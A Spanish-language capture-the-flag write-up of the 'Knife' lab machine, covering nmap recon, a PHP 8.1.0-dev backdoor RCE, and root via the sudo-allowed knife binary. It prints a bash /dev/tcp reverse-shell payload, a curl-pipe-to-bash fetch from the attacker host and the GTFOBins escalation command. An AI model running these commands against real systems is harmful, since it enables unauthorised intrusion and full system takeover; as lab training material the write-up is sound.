Entrada

Knife

Knife

Skills

  • PHP 8.1.0-dev - ‘User-Agent’ Remote Code Execution [RCE]
  • Abusing Sudoers Privilege (Knife Binary) [Privilege Escalation]

Certificaciones

  • eJPT

Descripción

Knife es una máquina easy linux donde estaremos vulnerando la máquina a través de un rce (remote code execution), el cual obtenemos al explotar el php 8.1.0-dev. Mediante el rce nos enviamos una reverse shell a nuestro equipo y posteriormente escalamos privilegios abusando del sudoers


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
9
# ping 10.129.7.60 
PING 10.129.7.60 (10.129.7.60) 56(84) bytes of data.
64 bytes from 10.129.7.60: icmp_seq=1 ttl=63 time=155 ms
64 bytes from 10.129.7.60: icmp_seq=2 ttl=63 time=1542 ms
64 bytes from 10.129.7.60: icmp_seq=3 ttl=63 time=594 ms
^C
--- 10.129.7.60 ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 3011ms
rtt min/avg/max/mdev = 155.024/763.527/1541.628/578.642 ms, pipe 2

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.7.60 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-07 10:06 CEST
Initiating SYN Stealth Scan at 10:06
Scanning 10.129.7.60 [65535 ports]
Discovered open port 22/tcp on 10.129.7.60
Discovered open port 80/tcp on 10.129.7.60
Completed SYN Stealth Scan at 10:07, 23.98s elapsed (65535 total ports)
Nmap scan report for 10.129.7.60
Host is up (0.092s latency).
Not shown: 45604 closed tcp ports (reset), 19929 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 24.06 seconds
           Raw packets sent: 118385 (5.209MB) | Rcvd: 110593 (4.424MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# nmap -sCV -p 22,80 10.129.7.60 -Pn -oN services 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-07 10:09 CEST
Nmap scan report for 10.129.7.60
Host is up (0.36s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.05 seconds

Web Enumeration

Cuando accedemos al servicio web visualizamos lo siguiente

Fuzzeamos en busca de rutas y no encontramos nada, con wappalyzer vemos las tecnologías que se están usando en la página web

Usamos whatweb para obtener más información y al parece la versión de php es 8.1.0-dev

1
2
# whatweb 10.129.234.175
http://10.129.234.175 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.234.175], PHP[8.1.0-dev], Script, Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]

Debido a que no hemos encontrado más puertos abiertos ni por TCP ni por UDP, tampoco hay virtual hosting y fuzzeando en busca de nuevas rutas no hemos encontrado. Vamos a buscar vulnerabilidades en google para la versión 8.1.0 de php, para esto hacemos la búsqueda la siguiente búsqueda > php 8.1.0 exploit

Web Exploitation

Al parecer es vulnerable al exploit encontrado y obtenemos acceso a la máquina víctima

1
2
3
4
5
6
7
8
9
10
# python3 exploit.py 
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
Enter the full host url:
http://10.129.234.175

Interactive shell is opened on http://10.129.234.175 
Can't acces tty; job crontol turned off.
$ whoami
james

Intrusión

Procedemos a mandarnos una reverse shell, lo primero es crearnos en nuestra máquina una archivo llamado shell en su interior haya este payload

1
bash -i >& /dev/tcp/10.10.16.15/443 0>&1

En el mismo directorio donde nos hemos creado el archivo shell, no ponemos en escucha con python por el puerto 80

1
# python -m http.server 80

Nos ponemos en escucha también por el puerto 443 para recibir la shell

1
# nc -nlvp 443

Desde la máquina víctima nos mandamos un curl a nuestra máquina y el output lo pipeamos con bash

1
$ curl http://10.10.16.15|bash

Una vez en la máquina víctima vamos a realizar un tratamiento a la TTY

1
2
3
4
5
# nc -nlvp 443 
listening on [any] 443 ...
connect to [10.10.16.8] from (UNKNOWN) [10.129.95.96] 53600
sh: 0: can't access tty; job control turned off
$ 

Obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 183

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Ya tenemos un consola completamente interactiva

1
2
james@knife:/opt$ whoami
james

Privilege Escalation

Una vez dentro de la máquina víctima vemos si podemos ejecutar algún binario con sudo

1
2
3
4
5
6
james@knife:/opt$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

Buscando en https://gtfobins.github.io/gtfobins/knife/ nos damos cuenta de que mediante este binario podemos escalar privilegios y convertirnos en usuario root

1
2
3
4
james@knife:/opt$ sudo knife exec -E 'exec "/bin/sh"'
# whoami
root
# 
Esta entrada está licenciada bajo CC BY 4.0 por el autor.